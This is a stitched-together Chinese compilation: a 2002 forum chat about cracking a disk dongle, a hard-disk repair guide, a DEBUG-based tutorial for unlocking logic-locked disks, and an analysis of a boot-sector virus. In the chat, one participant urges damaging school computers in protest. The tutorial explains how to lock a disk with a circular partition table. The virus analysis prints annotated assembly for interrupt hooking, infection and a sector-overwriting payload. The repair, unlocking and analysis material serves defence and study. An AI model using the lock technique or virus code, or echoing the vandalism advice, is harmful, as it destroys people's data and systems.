     2002-01-20 07:42:48 胡俊杰
     好的. 有问题在问你. 我回去试试 .我下了, 88
     2002-01-20 07:10:11 Moonlight XP
     由于Windows缓存的原因,破解后狗狗地址映射出现问题,
     然后PALAPALA,读写过的文件全部损坏,首当其冲的就是注册表
     2002-01-20 07:13:27 Moonlight XP
     如果CPU在保护模式下,你用DEBUG看到的只是V86下的地址,
     鬼才知道00000-FFFFF这段内存位于真实内存条的哪一个部分
     说不定在硬盘上
     2002-01-20 07:16:28 Moonlight XP
     在 Windows XP 下系统甚至连驱动全给 Microsoft 包了,
     如果系统或驱动出错那就蓝屏死机,
     没见过 Windows XP 蓝屏死机的样子吧?~-~
     2002-01-20 07:24:00 Moonlight XP
     或者出现什么缓冲区溢出的漏洞获得系统权限呢?
     Intel 规定谁先进入保护模式,谁获得系统控制权
     缓冲区指的是内存,端口是系统输入输出端口(通过总线,硬件),  
     而不是网络上常说Ports(通过TCP/IP栈,软件)
     这是概念问题  
     2002-01-20 07:50:52 Moonlight XP
     举一个例子
     F 200 3FF 88
     MOV AX,301
     MOV BX,200
     MOV CX,2020
     MOV DX,2080
     INT 13
     //512字节缓冲区写入32道32面32扇区,  
     //地址映射到3232道32面32扇区  
     MOV AX,201
     INT 13
     //读入32道32面32扇区512字节到缓冲区
     //地址映射到3232道32面32扇区
     缓冲区数据正确(全都是88),程序运行正常
     2002-01-20 07:51:37 Moonlight XP
     还是同样例子
     F 200 3FF 88
     MOV AX,301
     MOV BX,200
     MOV CX,2020
     MOV DX,2080
     INT 13
     //512字节缓冲区写入32道32面32扇区,
     //地址映射到3232道32面32扇区
     破解
     MOV AX,201
     INT 13
     //读入32道32面32扇区512字节到缓冲区
     缓冲区数据错误(乱七八糟),程序运行错
     2002-01-20 08:00:29 Moonlight XP
     也就是说,破解前硬盘不能被读写
     WINDOWS ME启动完毕,打开虚拟DOS窗口,硬盘数据变化已经不象样子了
     破解的结果是再次启动注册表严重错误,系统完完了,搞破坏最好不过了
     纯DOS启动是不对系统写入的,所以可以破解,但WINDOWS ME没有纯DOS
     学校装了WINDOWS ME,又不让软盘启动,我建议破坏学校机器表示抗议
     2002-01-20 08:02:22 Moonlight XP
     就算学校装了WINDOWS ME,封了软驱,
     用破解的方法只能破坏,再也不能破解了。
     2002-01-20 08:03:06 Moonlight XP
     最后说说
     CMP DL,80
     JNZ ABCD
     的问题
     2002-01-20 08:07:40 Moonlight XP
     CMP DL,80 - > CMP DL,FF
     JNZ ABCD JNZ ABCD
     太不负责任(大概中国盗版软件都这样),
     这么改思路不清晰,也许除了我没人可以自己看懂
     正确的修改方法为
     CMP DL,80 - > CMP DL,80
     JNZ ABCD JMP ABCD
     2002-01-20 08:08:53 Moonlight XP
     不要告诉老师,先搞坏几台,让老师看看什么叫“真正的黑客”

     

         -----------------------------------------------------
作为存储设备中的一员,硬盘起着极其重要的作用。但是由于硬盘属于磁介质,因此其寿命与稳定不像内存等设备那样好,使用时难免会出现各种各样的问题。而且令情况更加复杂的是,由于硬盘牵涉到系统底层的设置,因此往往不能在大家熟悉的Windows下解决问题,必须转到DOS下处理,这对于不少DIY新手而言就有些无所适从了,毕竟他们没有经历过DOS时代。
     
       硬盘出现问题前的一般征兆
     
       如果硬盘出现故障,那么最好尽早发现并及时采取正确的措施。如果等到病入膏肓时,硬盘中宝贵的数据就难以幸免了。一般来说,硬盘出现故障前会有以下几种表现:
     
       1.出现S.M.A.R.T故障提示。这是硬盘厂家本身内置在硬盘里的自动检测功能在起作用,出现这种提示说明您的硬盘有潜在的物理故障,很快就会出现不定期地不能正常运行的情况。
     
       2.在Windows初始化时死机。这种情况较复杂,首先应该排除其他部件出问题的可能性,比如内存质量不好、风扇停转导致系统过热,或者是病毒破坏等,最后如果确定是硬盘故障的话,再另行处理。
     
       3.能进入Windows系统,但是运行程序出错,同时运行磁盘扫描也不能通过,经常在扫描时候缓慢停滞甚至死机。这种现象可能是硬盘的问题,也可能是Windows天长日久的软故障,如果排除了软件方面设置问题的可能性后,就可以肯定是硬盘有物理故障了。
     
       4.能进入Windows,运行磁盘扫描程序直接发现错误甚至是坏道,这不用我多说了,Windows的检查程序会详细地报告情况。
     
       5.在BIOS里突然根本无法识别硬盘,或是即使能识别,也无法用操作系统找到硬盘,这是最严重的故障。
     
       不幸中的大幸 --分区表遭到破坏
     
       首先我们应该确认硬盘的电源接口和数据线没有脱落,然后进入BIOS,使用“HDD Auto Detect”来检测硬盘。如果此时BIOS能够正确识别硬盘的话,那么至少你的硬盘还有救治的希望;不然,我想大家也不用瞎忙了,因为凭我们普通DIYer手头的工具基本上是无能为力的。
     
     在UltraEdit中查找“55aa”字符串
     
       用光盘或者软盘引导系统后,大家可以试图进入C盘符,如果此时提示找不到C盘的话,那么绝对应该是一件好事情。出现这种情况很可能是硬盘分区表信息遭到破坏,或者被某种病毒攻击。如果硬盘中你的数据对来说无所谓,那么可以先用FDISK/MBR命令来无条件清除分区表内容,然后用FDISK等分区软件重新分区格式化,一般这样就能解决问题;而如果你还需要硬盘中的数据,那么步骤要麻烦一些。这时最好能拥有一张杀病毒软件或者随主板赠送的相关软件,然后你可以参阅帮助文档,一般该软件会包含恢复硬盘分区表的命令,而且使用极其方便。
     
       对于没有杀毒盘的用户来说,大家可以使用NU 8.0中的NDD修复,它将检查分区表中的错误。若发现错误,NDD将会询问是否愿意修改,你只要不断地回答YES即可修正错误,或者用备份过的分区表覆盖它也行。
     
     用Hide Partition就可以实现
     
       如果用上述方法也不能解决的话,还可利用FDISK重新分区,但分区大小必须和原来的分区一样,这一点尤为重要,分区后不要进行高级格式化,而是用 NDD进行修复。这样既保证硬盘修复之后能启动,而且硬盘上的数据也不会丢失。
     
       边缘求生存 --硬盘的物理坏道
     
       如果刚才DOS能够转到C盘,而硬盘工作却不正常,那么就很可能是硬盘出现了坏道。一般来说,硬盘的坏道可以分为逻辑坏道与物理坏道。产生逻辑坏道时一般不会严重影响使用,所以很可能是物理坏道。
     
       我们处理物理坏道的核心思想是将这些有坏道的簇单独分成一个分区,并隐藏起来避免其它程序调用,这样就可以不让坏道扩散,以免造成更大的损失。对于这一处理,我们主要是使用Partition Magic6.0这款DOS下的软件。
     
       在DOS界面下进入PQ 6.0之后,我们先用Operations菜单下的Check For Errors命令来确定物理坏道的位置,因为PQ6.0的这项功能非常出色,不像Windows下的Scandisk那样经常误诊。
     
       PQ6.0的真正强大之处在于它能将所有藏有坏道的簇用特殊标记标定出来,而且你可以将这些坏簇全部选中,然后将它们划分到一个独立的新分区。这完全是图形化的操作,是非常方便的。随后,大家切记要把这个充满罪恶的分区隐藏起来,这样才能确保它不会被调用。此时使用Advance菜单下的Hide Partition命令就可以实现。
     
       拥有PQ6.0之后,物理坏道真的不难解决,而且可以有效避免扩散问题。但是需要注意的是,无论如何,此时的硬盘已经处于亚健康状态,其中的数据还是非常危险的。用PQ6.0处理物理坏道后,究竟这块硬盘还能用多少时间很难说,这要看运气了。
     
       DOS启动的低级失误--逻辑锁
     
       硬盘逻辑锁是一种很常见的恶作剧手段。中了逻辑锁之后,无论使用什么设备都不能正常引导系统,甚至是软盘、光驱、挂双硬盘都一样没有任何作用。
     
       要解决逻辑锁的问题,就要知道问题的根源。其实在DOS系统启动时,它会搜索所有逻辑盘的顺序。首先要找的是主引导扇区的分区表信息,它位于硬盘的零磁头零柱面的第一个扇区的OBEH地址开始的地方,当分区信息开始的地方为80H时表示是主引导分区,其他的为扩展分区,主引导分区被定义为逻辑盘C盘,然后查找扩展分区的逻辑盘,被定义为D盘,以此类推找到E,F,G……逻辑锁就是在此下手,修改了正常的主引导分区记录,将扩展分区的第一个逻辑盘指向自己,DOS在启动时查找到第一个逻辑盘后,查找下个逻辑盘总是找到是自己,这样一来就形成了死循环。
     
       对于这类问题,如果你不想要硬盘上的数据了,那么处理起来也是非常爽快的。大家可以在BIOS中将所有IDE接口设为NONE,然后用软盘启动系统,此时肯定可以启动,因为系统根本就没有硬盘。接着,我们就使用经典的硬盘管理软件DM了。由于DM可以不依赖于主板BIOS来识别硬盘,因此你可以用DM进行分区格式化,这样就能完全解决问题,而且万无一失,简单方便,惟一的遗憾就是数据保不住了。
     
       此外还有一种方法也是非常值得推荐的,它可以保住硬盘中的数据。首先准备一张启动盘,然后在一台正常的机器上,使用你熟悉的二进制编辑工具(UltraEdit等)修改软盘上的IO.SYS文件(修改前记住改该文件的属性为正常),具体是在这个文件里面搜索第一个“55aa”字符串,找到以后修改为任何其他数值即可。用这张修改过的系统软盘你就可以顺利地带着被锁的硬盘启动了。不过这时由于该硬盘正常的分区表已经被破坏,你无法用FDISK来删除和修改分区,但是此时可以用上面关于分区表恢复的方法来处理。
     
       死马当活马医--修复0磁道损坏的硬盘
     
       如果在对硬盘进行格式化时,系统提示“Track 0 Bad”的话,那么意味着硬盘的0磁道损坏了。一般来说这种故障是难以修好的,但是我们还是不必放弃,说不定还有一线生机。
     
       其实0磁道损害也是坏道的问题,只不过关键的0磁道也有坏道而已。此时,我们所要做的就是重新标记0磁道的位置。这项工作我们可以交给PCTools 9.0工具包,我们要利用的是其中的DE.EXE命令。
     
       为了修改0磁道文字,首先要去掉DE的只读属性,我们必须把Configuration下Read Only前的钩消去。随后在主菜单Select中进入Drive type,并选择下一级的Physical→Hard disk。回车之后,我们的主菜单就会出现Partition Table(分区表),注意找Beginning Cylinder(起始柱面)这一项,它代表硬盘的0柱面开始,也就是0磁道的位置。此时大家只要稍微动一下,把它改为1或者2即可。
     
       需要说明的是,这里的数值不能随意改动,一旦改动幅度太大,BIOS就不能正确识别硬盘。但是问题是万一改动后的位置仍然是有坏道的怎么办?呵呵,我目前也想不出办法,希望有机会大家可以探讨一下。如果运气不算太坏的话,那么我们接着就可以采用隐藏坏道的方法来进行分区格式化处理了。
      
           标题:解开硬盘逻辑死锁的一种有效方法 很底层的方法来绕开硬盘的分区表
                                     一・序言
     不知道你是否曾碰到过从软盘和硬盘都启动不了计算机的情形?一般计算机的硬盘分区表被病毒感染后,若不能启动机子,通常从软盘可以启动。但在严重的情形下,不但从硬盘不能启动机子,就是从软盘也不能启动。有的恶毒的病毒就能使硬盘被死锁。笔者一次在自己机子上玩弄硬盘锁时,就被锁住过一次。结果在硬盘下选择DOS或WIN95模式启动机子都死机,在软盘下用DOS启动也死机;在COMS中将硬盘类型选择None,虽然可以从软盘启动,但启动后没有硬盘,使用软盘上的FDISK命令,想重新分区或格式化都没门。弄得我一筹莫展。
     
     本来,硬盘被锁住时,可以采用3.0以下的DOS版本启动机子,机子启动后虽然也不认硬盘,但其不认的原因在于其管理不了现在的大硬盘,因此可以用Debug修改硬盘分区表,修改后可以启动。但在已进入WINDOWS的年代,3.0以下的DOS实难找到,即使找到,你的机子上恐怕也因没有5寸软驱而不能使用。因此,最好的办法是编制一个程序来解决这个问题。笔者通过尝试和思考,找到一种比较实用的方法,可以轻松解开死锁的硬盘,当然也把自己的硬盘解开了。下面,我将这种方法介绍出来。
     
                                   二・硬盘锁住原理
     硬盘锁住通常是对硬盘的分区表做手脚,因此首先应该了解硬盘的分区表。硬盘分区表位于0柱面0磁头1区,这个扇区的前面200多个字节是主引导程序,后面从01BEH开始的64个字节是分区表。分区表共64字节,分为4栏,每栏16字节,用来描述一个分区。如果是用DOS的FDISK程序分区后,最多只用两栏,第一栏描述基本的DOS分区,第二栏描述扩展的DOS分区。
     
     
     分区表一栏的结构与各字节的含义如下:
     
     
     00H-标志活动字节,活动DOS分区为80H,其它为00H。
     
     
     01H-本分区逻辑0扇区所在的磁头号。
     
     
     02H-逻辑0扇区所在柱面中的扇区号。
     
     
     03H-逻辑0扇区所在的柱面号。
     
     
     04H-分区类型标志。
     
     
     05H-本分区最后一个扇区的磁头号。
     
     
     06H-最后一个扇区的扇区号。
     
     
     07H-最后一个柱面的柱面号。
     
     
     08H-硬盘上在本分区之前的扇区总数,用双字表示。
     
     
     0CH-本分区的扇区总数,从逻辑0扇区计数,不含隐藏扇区,用双字表示。
     
     
     在上面的介绍中给出的柱面号与扇区号虽然各占一个字节,但实际上扇区号用6位表示,柱面号用10位表示,扇区号所在字节的最高两位实际上是柱面号的最高两位。
     
     
     分区表的最后两个字节是分区表的有效标志,如果将其改变,将不能从硬盘启动,这是一种简单的锁住硬盘的方法。解决的办法是从软盘启动,启动后硬盘仍然可以使用。用Debug或Noratn中的Diskedit软件将硬盘该分区表中的标志恢复,则从硬盘启动也没有问题了。锁住硬盘的另一种方法是对分区参数做手脚,如果将分区参数全部变为0,则启动时由于找不到分区参数,从硬盘是没法启动,从软盘启动后也不认硬盘,如果你敲入盘符C并回车,将出现提示Invalid driver specification。但所幸的是,毕竟可以启动机子,不认硬盘没关系,在A盘上用DOS的Debug仍然可以读出硬盘0柱面0磁头1扇区的内容,修改后再写入0柱面0磁头1扇区,重新启动机子又没问题了。如果将分区表参数随意改为其它参数,则有可能不能用可以安装DOS的DOS系统盘启动,按F3退出后将出现内存分配错误,不能装载DOS的命令解释器COMMAND的提示,系统就死机了,笔者就曾碰见过这种情形。但用一张格式化成系统盘的软盘则可以顺利启动,只要有Debug,你仍然可以将分区表参数修改回去。可怕的事情是,如果你不幸将分区表参数改成一个循环链,即C盘的下一个分区指向D驱,D驱的下一个分区又指向C区,这样循环下去,DOS启动或WIN95启动时由于无休止的读取逻辑驱动器,就只有死机的份了。这是只要有硬盘存在,不管你用软盘还是硬盘都没法启动机子了,由于不能启动是由于硬盘造成的,即使你将硬盘下到其它计算机上,也没法使用,这样硬盘就彻底被锁死了,笔者所遭遇就是此情形。不信,你只需将硬盘0柱面0磁头1扇区的1D0H处改为1(如果你的D驱开始柱面号不够大,此处本来就为1),将1D1H处改为0,表示D盘的开始柱面号跟C盘一样,看看你的计算机还能不能启动,不过你在没有充分的准备前绝不要试。
     
     
     一个完整的硬盘锁程序,不过是重新改写0柱面0磁头1扇区的引导程序,并将分区表破坏或故意制造一个循环分区表,而将真正的硬盘分区表参数和引导程序放在其它隐藏扇区并保护起来,如果启动时口令不对,则不能启动机子,口令对了则顺利启动。这种硬盘锁程序,情形好的还可以用软盘启动;情形严重的就是连软盘也不能启动,硬盘真被锁住。
     
     
     三・解开硬盘锁的程序法
     
     
     如果硬盘被锁死,是否真的就无法解开呢?当然不是。看看问题的症结所在,根源在于DOS中的IO.SYS文件,它包含LOADER、IO1、IO2、IO3四个模块,其中IO1中包含有一个很关键的程序SysInt_I,它在启动中很固执,非要去读分区表,而且不把分区表读完誓不罢休。如果碰上分区表是循环的,它就只有死机了。这是DOS的脆弱性和不完备性。其实这也不能怪DOS,因为DOS为了获得硬盘使用权,就必需读分区表参数,而且DOS还约定驱动器号不能超过26,只不过没有考虑到此等循环分区表情形。一句话,机子不能启动不过是DOS操作系统造成的,如果另写一个操作系统,或许就能启动机子。当然这只是说个笑话。
     
     
     明白了病因在于DOS,问题就好办了。DOS启动中不是要读硬盘分区表吗?我不让你读分区表甚至连硬盘都不让你读,不就可以顺利启动了。的确是这样的,开硬盘锁的程序实现方法就是基于这个思想形成的。当然,这只有从软盘启动着手了。
     
     
     看看计算机的启动过程,上电首先进行的多项硬件自测跟我们没有关系,我们关心的只是它最开始和磁盘打交道时是干什么。如果选择从硬盘启动,则计算机和磁盘最开始打交道是将硬盘0柱面0磁头1扇区的内容读入内存0000:7C00处并跳到0000:7C00处执行;如果选择从软盘启动,则计算机和磁盘最开始打交道是将A盘0磁道0磁头1扇区的内容读入内存0000:7C00处并跳到0000:7C00处执行,在执行过程中,计算机并不检查该扇区的内容是什么,只机械地执行读命令,这使得许多系统型病毒得以生存。但利用这一点,恰恰使我们的程序解锁法有了用武之地。如果我们用DOS格式化一张可以启动机子的系统软盘,将该软盘的0磁道0磁头1扇区的内容移到后面的空白扇区中,而重新写一段程序到该软盘的0磁道0磁头1扇区,这样用软盘启动时首先执行的是我们所写的程序了。在这段程序中,具备这样一些功能:在DOS启动前抢先拦截INT 13H,驻留高端内存并监视INT 13H,判断是否读硬盘,如果是读硬盘就直接返回,这样就禁止了读硬盘,也就避免了DOS读硬盘循环分区表造成的死机;同时拦截对软盘的读取,如果读软盘的0磁道0磁头1扇区,就改成读真正有引导程序和磁盘参数表的扇区,免得DOS在启动中找不到软盘的磁盘参数表而死机。完成这些任务的同时,还要读取软盘真正的引导程序并把控制权交给它。
     
     
     该方法可以称为万能的,因为它在用软盘启动中,始终不与硬盘打交道,这样不管你硬盘用什么方法加锁了,对DOS的启动都没有影响。当然,这样启动的机子是不认硬盘的,但这没有关系。你可在机子启动后,用Debug调出驻留高端内存的新INT 13H程序,将其改为只有一条直接执行旧INT 13H的语句,这样在Debug下可以用INT 13H读取硬盘0柱面0磁头1扇区的内容,如果你有备份,将分区表参数恢复后再写入0柱面0磁头1扇区,重新启动计算机就可以了。如果实在没有备份,去掉分区表中的循环链,用正常DOS启动盘重启机子后至少也可以重新对硬盘分区,不至于硬盘被锁住打不开了。
     
     
     四・程序及说明
     
     
     1・下面是写入软盘0磁道0头1扇区的源程序key.com,程序用debug输入。
     
     
     C>debug
     
     
     -a100
     
     
     100 CLI
     
     
     101 XOR AX,AX
     
     
     103 MOV DS,AX
     
     
     105 MOV ES,AX
     
     
     107 MOV SS,AX
     
     
     109 MOV AX,7C00
     
     
     10C MOV SP,AX
     
     
     10E STI
     
     
     10F MOV SI,AX
     
     
     111 MOV DI,7E00
     
     
     114 CLD
     
     
     115 MOV CX,0200
     
     
     118 REPNZ
     
     
     119 MOVSB
     
     
     11A JMP 0000:7E1F
     
     
     11F MOV CX,0003
     
     
     122 PUSH CX
     
     
     123 MOV AX,0201;读启动软盘的引导扇区
     
     
     126 MOV BX,7C00
     
     
     129 MOV CX,4F01
     
     
     12C MOV DX,0100
     
     
     12F INT 13
     
     
     131 POP CX
     
     
     132 DEC CX
     
     
     133 JNZ 0122
     
     
     135 MOV AX,[004C];抢先获取INT 13H的位置
     
     
     138 MOV [7E88],AX
     
     
     13B MOV AX,[004E]
     
     
     13E MOV [7E8A],AX
     
     
     141 MOV AX,[0413]
     
     
     144 DEC AX
     
     
     145 MOV [0413],AX
     
     
     148 MOV CL,06
     
     
     14A SHL AX,CL
     
     
     14C MOV ES,AX
     
     
     14E XOR AX,AX
     
     
     150 MOV DS,AX
     
     
     152 MOV SI,7E6D;复制改写的INT 13H程序到高端内存
     
     
     155 MOV DI,0000
     
     
     158 MOV CX,0030
     
     
     15B REPNZ
     
     
     015C MOVSB
     
     
     015D MOV AX,0000;将新INT 13H位置写入中断向量表
     
     
     0160 MOV [004C],AX
     
     
     0163 MOV AX,ES
     
     
     0165 MOV [004E],AX
     
     
     0168 JMP 0000:7C00
     
     
     016D PUSHF;新INT 13H程序
     
     
     016E CMP DX,0080;是否是硬盘
     
     
     0172 JNZ 0176;不是硬盘则继续
     
     
     0174 POPF
     
     
     0175 IRET;是硬盘则直接返回
     
     
     0176 CMP DX,+00;是否读软盘BOOT区?
     
     
     0179 JNZ 0186
     
     
     017B CMP CX,+01
     
     
     017E JNZ 0186
     
     
     0180 MOV CX,4F01;是则读79磁道1磁头1扇区
     
     
     0183 MOV DX,0100
     
     
     0186 POPF
     
     
     0187 JMP 0000:0000;此处跳转去执行旧INT 13,
     
     
     ;旧INT 13H的位置由前面程序获得后写入。
     
     
     N key.com
     
     
     RCX
     
     
     200
     
     
     W
     
     
     Q
     
     
     2・程序的装载
     
     
     在进行下面工作前,先用DOS格式化一张启动的系统盘,并保证没有坏扇区,最好进行启动测试,确保其可以启动机子。由于现在机子上大多只有3寸软驱,因此选择1.44M的3.5寸软盘。然后用debug key.com将程序key.com调入内存偏移地址为100H,同时在400H处写入一段装载程序。即:
     
     
     C>debug key.com
     
     
     -a400
     
     
     400 MOV CX,0003
     
     
     403 PUSH CX
     
     
     404 MOV AX,0201;将A盘引导程序读入内存1000H处
     
     
     407 MOV BX,1000;为确保成功,首次采用重复读3次
     
     
     40A MOV CX,0001
     
     
     40D MOV DX,0000
     
     
     410 INT 13
     
     
     412 POP CX
     
     
     413 DEC CX
     
     
     414 JNZ 0403
     
     
     416 MOV AX,0301;将已读入内存的软盘引导程序写入软盘
     
     
     419 MOV BX,1000;最后一个磁道的首扇区
     
     
     41C MOV CX,4F01
     
     
     41F MOV DX,0100
     
     
     422 INT 13
     
     
     424 MOV AX,0301;将key.com程序写入软盘0磁道0磁头1扇区
     
     
     427 MOV BX,0100
     
     
     42A MOV CX,0001
     
     
     42D MOV DX,0000
     
     
     430 INT 13
     
     
     432 INT 3
     
     
     为保证万无一失,最好将软盘这两个扇区的内容重新读出来看一看,以保证写成功了。做好这一切,保险的还是进行一次测试,即用该软盘启动一次机子,看能否成功,若成功启动,你就可以用循环分区表法锁住硬盘,看从正常DOS下能否启动,然后再用此软盘启动机子试试,看看功效如何?
     
     
     从该软盘启动后,不认硬盘,并且在高端内存驻留了新INT 13H程序,该段程序实际上是key.com中从16D到187部分。由于有此段程序存在,在debug下也无法读硬盘,也就没法恢复硬盘分区表,因此机子启动后首先应修改这段程序。现在的机子基本内存通常都为640K,这样这段程序就位于内存中9FC0:0000处,在debug下,用U9FC0:0显示这段程序,可以看到位于9FC0:001A处是一条跳转指令,该跳转指令即转去执行最原始的INT 13H。由于BIOS版本不一样,跳转指令指向的位置可能不一样,如笔者机子上是一条JMP F000:A5D4语句。这时在在debug下编写这样一语句:a9FC0:0 JMP F000:A5D4。这样,对硬盘的禁写与禁读都不再起作用了,在debug下用INT 13H的2号子功能可以读出硬盘分区表,修改恢复后再用3号子功能将数据写回分区表。退出debug,重新用正常DOS启动计算机,就可以了。
     
     附带提一下,在正常DOS下,该软盘由于没有BOOT区,也就没有磁盘参数表,从而不能使用,用DIR A:命令会出现General failure reading drive A提示。不要理睬它,这并不影响它作特殊启动盘。
     
     
     五・建议
     
     为更好的保护你的硬盘,笔者建议你最好将你的硬盘分区表信息备份起来。备份有两种方式,一种是以文件形式将硬盘每个逻辑盘的分区信息存储起来;另一种是将分区信息备份在硬盘隐藏扇区里。比如可以将0柱面0磁头1扇区备份在0柱面0磁头3扇区,将D盘开始柱面号0磁头1扇区备份在该柱面0磁头3扇区,其它逻辑盘也如此。这种方法简单、方便,也很可靠。用NORTAN中的DISKEDI很容易操作和实现。有了备份分区表信息,就不怕破坏分区表的病毒了;再加上我给你的程序,即使有人真锁住了你的硬盘,你也可以轻而易举解开了。
     
      
一个主引导区病毒的分析

--------------------------------------------------------------------------------

作者:sinister
主页:www.whitecell.org

病毒体:
JMP 01AF ;JMP到01AF
DB 00 ;病毒标计
DW 00F5 ;此为搬到高位址后,远程跳转指令
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX
DB 02
DW 0003 ;此为软盘识别标记,硬盘为0007
DW EC59 ;
DW F000 ;INT 13H的原入口
.
.
.
.
.
XOR AX,AX ;清除AX
MOV DS,AX; ;让DS=0000
CLI ;清I标志积存器
MOV SS,AX ;把堆栈设为0000:7C00也就是开机
MOV AX,7C00 ;后载入引导分区表的地址,目前地址
MOV SP,AX ;开机时为0000:7CB6
STI ;设I标志积存器
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A
PUSH AX ;用RETF,把程序转到引导或分区表位置
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在
MOV AX,[004E] ;取INT 13H的段地址
MOV [7C0C],AX ;存到010C

;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13
;读写以便传播发作

MOV AX,[0413] ;取得内存K数,放在AX
DEC AX ;
DEC AX ;减2k内存
MOV [0413],AX ;存回,通常是638K
MOV CL,06 ;
SHL AX,CL ;
MOV ES,AX ;算出减2K后病毒本体的位址
MOV [7C05],AX ;AX存入0105

;病毒常用手法将系统高段内存减少以便驻留
;这样可以免于被其他程序覆盖

MOV AX,000E ;病毒拦INT 13H
;ISR起始的偏移量
MOV [004C],AX ;
MOV [004E],ES ;设原为病毒的INT 13H
MOV CX,01BE ;病毒长度为1BE
MOV SI,7C00 ;从JMP 01AF开始
XOR DI,DI ;DI=0
CLD ;清方向标志
REPZ;
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或
CS: ;分区表能载入0000:7C00正常运作
JMP FAR [7C03] ;跳到为搬过后的位址
XOR AX,AX ;清AX
MOV ES,AX ;ES=0000
INT 13 ;复位磁盘
PUSH CS ;
POP DS ;让DS=CS
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则

MOV BX,7C00 ;读到0000:7C00
MOV CX,[0008] ;硬盘第0道,第7扇区
CMP CX,+07 ;比较是否从硬盘启动
JNZ 0213 ;不是跳0213
MOV DX,0080 ;第一硬盘C:第零面
INT 13 ;用INT 13号中断,读
JMP 023E ;跳023E比较日期,发作或正常开机
MOV CX,[0008] ;软盘0道,第3扇区
MOV DX,0100 ;A:的第0面
INT 13 ;INT 13读盘
JB 023E ;失败跳023E
PUSH CS
POPES ;让ES=CS
MOV AX,0201 ;
MOV BX,0200 ;
MOV CX,0001 ;
MOV DX,0080 ;
INT 13 ;读入C:的分区表到0200,以便下面比较
JB 023E ;失败跳023E
XOR SI,SI ;清SI
CLD ;清方向标志以便比较
LODSW ;载入一个WORD到AX
CMP AX,[BX] ;比较有无病毒存在..E9AC
JNZ 0287 ;没有则跳0287传染
LODSW ;载入一个WORD到AX
CMP AX,[BX+02] ;再次确认..0000
JNZ 0287 ;没有跳0287
XOR CX,CX ;清CX
MOV AH,04 ;
INT 1A ;取得日期
CMP DX,0306 ;是否为三月六日
JZ 024B ;是跳024B传染
RETF ;把程序交还给引导启动完成

步骤4:病毒INT 13代码分析
方法:U

PUSH DS ;首先把要用到积存器
PUSH AX ;入栈保存
OR DL,DL ;比较是否为软盘
JNZ 002F ;如不是则退出传染
XOR AX,AX ;AX=0
MOV DS,AX ;数据代段=0
TEST BYTE PTR [043F],01 ;比较是否为A盘
JNZ 002F ;不是则退出
POP AX ;将以上保存积存器
POP DS ;弹栈恢复
PUSHF ;压栈标志积存器
CS: ;以便执行原INT 13
CALL FAR [000A] ;执行原INT 13
PUSHF ;再次压栈
CALL 0036 ;以便跳转到传染程序
POPF ;跳转到执行传染
RETF 0002 ;结束中断调用返回
POP AX ;恢复
POP DS ;堆栈
CS: ;跳转到原正常INT 13
JMP FAR [000A] ;地址执行

;此段代码中展现了病毒常用手法,利用标志积存器做跳转

步骤5:传染过程分析
方法:U

对软盘传染过程:

PUSH AX ;工
PUSH BX ;作
PUSH CX ;寄
PUSH DX ;存
PUSH DS ;器
PUSH ES ;入
PUSH SI ;栈
PUSH DI ;保存
PUSH CS ;以压/弹栈方式
POP DS ;使数据段DS和
PUSH CS ;附加段ES均指向
POP ES ;代码段CS
MOV SI,0004 ;试4次
MOV AX,0201 ;设置各
MOV BX,0200 ;积存器
MOV CX,0001 ;为读软盘
XOR DX,DX ;引导扇区做准备
PUSHF ;压栈标志积存器
CALL FAR [000A] ;正常的INT 13调用
JNB 0063 ;成功则转判断
XOR AX,AX ;不成功复位
PUSHF ;磁盘继续读
CALL FAR [000A] ;如果4次
DEC SI ;均匀不成功
JNZ 0045 ;则退出跳转
JMP 00A6 ;退出传染
XOR SI,SI ;SI=0以便用
CLD ;LODSW读入软盘
LODSW ;第1或第2字进行比较
CMP AX,[BX] ;比较如果不包含病毒标志
JNZ 0071 ;则跳转写传染
LODSW ;如果已有标志
CMP AX,[BX+02] ;则退出
JZ 00A6 ;传染子程序
MOV AX,0301 ;为写盘准备
MOV DH,01 ;如果是360K
MOV CL,03 ;则写到1面0道3扇区
CMP BYTE PTR [BX+15],FD ;比较软盘
JZ 0080 ;如果大于360K
MOV CL,0E ;写到1面0道14扇区
MOV [0008],CX ;写病毒标志到软盘
PUSHF ;调用原INT 13
CALL FAR [000A] ;进行传染
JB 00A6
MOV SI,03BE ;以下是将正常
MOV DI,01BE ;引导扇区从
MOV CX,0021 ;1BE起的21字节内容
CLD ;搬移到病毒程序尾部
REPZ ;开始复制
MOVSW
MOV AX,0301 ;写盘功能调用,写一个扇区
XOR BX,BX ;将病毒程序
MOV CX,0001 ;写入软盘引导扇区内
XOR DX,DX ;设置为软盘
PUSHF
CALL FAR [000A] ;执行正常INT 13调用写盘
POP DI ;将
POP SI ;工
POP ES ;作
POP DS ;寄
POP DX ;存
POP CX ;器
POP BX ;退
POP AX ;栈
RET ;返回调用处

对硬盘传染过程:

MOV CX,0007 ;第7扇区
MOV [0008],CX ;此处为硬盘引导标记
MOV AX,301 ;写功能调用
MOV DX,0080 ;设置为硬盘
INT 13 ;将正常引导扇区写到0面0道7扇区内
JB 13E ;失败则转
MOV SI,03BE ;原分区表地址
MOV DI,01BE ;目标地址
MOV CX,0021 ;整个分区表
REPNZ
MOVSW ;开始复制

;此段代码是将硬盘分区信息,搬移到病毒程序尾部
;这样在分析着查看硬盘分区信息时仍能看到该部分
;内容,以次来麻痹分析者

MOV AX,0301 ;准备写病毒提进硬盘
XOR BX,BX ;病毒体位置
INC CL ;第一扇区
INT 13 ;开始写盘传染
JMP 013E ;转到13E处判断是否为3月6日,是则发作

步骤6:破坏过程分析
方法:U

主要分析对硬盘数据破坏:

.
.
.
.
.
MOV DL,80
MOV BYTE PTR[0007],04

;准备写硬盘
MOV AL,11 ;写17个扇区
MOV BX,5000
MOV ES,BX ;从内存ES:5000中处开始写
INT 13 ;残不人睹
JNB 0179 ;成功转179继续写
XOR AH,AH
INT 13 ;不成功复位磁盘继续
INC DH ;使写操作磁头加1继续写
CMP DH,[0007] ;比较是否小于0007单元值
JB 0150 ;是则返回开始处继续写
XOR DH,DH ;DH=0
INC CH ;再加扇区
JMP 0150 ;反回继续写

;以上操作实际上是对硬盘执行4次写操作,每次17个扇区
;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录
;和文件分配表。
